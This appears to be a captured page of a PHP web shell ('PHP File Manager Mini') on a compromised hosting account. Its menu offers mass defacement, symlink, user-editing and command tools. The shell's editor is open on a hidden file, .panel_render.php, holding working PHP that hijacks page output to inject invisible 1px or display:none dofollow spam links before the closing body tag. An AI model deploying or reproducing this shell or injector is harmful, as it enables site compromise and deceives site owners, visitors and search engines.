PHP File Manager Mini
Current Dir :
/
home
/
bhies
/
public_html
/[
drwxr-x---
]
Home
Config
Mass Deface
biasa [
Writable
]
home_root [
Writable
]
Jumping
Symlink
Auto edit user
dir
file
Adminer
Command
Logout
FILE EDITOR
Filename :
/home/bhies/public_html/.panel_render.php
File Size :
0.931 KB
MIME-type :
text/x-php
Permission :
rrw-r--r--
Edit
Rename
Chmod
Delete
Download
<?php $cache = __DIR__."/.site_links.json"; if(!file_exists($cache)) return; $data = json_decode(file_get_contents($cache), true); if(empty($data["links"])) return; ob_start(function($buffer) use ($data){ $linksHtml = "\n<!-- PANEL LINKS START -->\n"; foreach($data["links"] as $l){ if(empty($l["url"]) || empty($l["anchor"])) continue; $u = htmlspecialchars($l["url"], ENT_QUOTES); $a = htmlspecialchars($l["anchor"], ENT_QUOTES); $r = !empty($l["rel"]) ? htmlspecialchars($l["rel"]) : "dofollow"; $style = "font-size:1px;"; if(!empty($l["hidden"])) $style .= "display:none;"; $linksHtml .= "<a href=\"".$u."\" style=\"".$style."\">".$a."</a> "; } $linksHtml .= "\n<!-- PANEL LINKS END -->\n"; if(stripos($buffer, "</body>") !== false){ return preg_replace("/<\/body>/i", $linksHtml."</body>", $buffer, 1); } return $buffer.$linksHtml; });